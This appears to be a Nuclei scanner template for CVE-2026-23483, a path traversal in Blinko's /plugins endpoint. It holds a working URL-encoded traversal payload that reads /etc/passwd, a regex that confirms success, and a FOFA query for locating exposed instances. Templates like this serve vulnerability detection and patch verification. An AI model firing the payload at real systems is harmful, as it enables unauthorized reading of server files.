id: CVE-2026-23483

info:
  name: Blinko <= 1.8.3 - Path Traversal via /plugins
  author: tx1ee
  severity: medium
  description: |
    Blinko <= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.
  impact: |
    Remote attackers can access arbitrary files outside the intended directory, potentially exposing sensitive data.
  remediation: |
    Update to the latest version once available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23483
    - https://github.com/blinkospace/blinko/security/advisories/GHSA-54c7-9gxh-fg9v
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-23483
    epss-score: 0.02152
    epss-percentile: 0.84563
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: blinko-space
    product: blinko
    fofa-query: icon_hash="-1446811182" || icon_hash="-717082057"
  tags: cve,cve2026,blinko,blinko-space,lfi,path-traversal,unauth,arbitrary-file-read

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022077bbebe07b5ab406edb7b45015c4eef7d44909e203475c94bf6cb131ba84db4802204c92f46319bb97dc1479d3274b608cb5a43a0d9727fb2e07e7b17d3b3a75dfe7:922c64590222798bb761d5b6d8e72950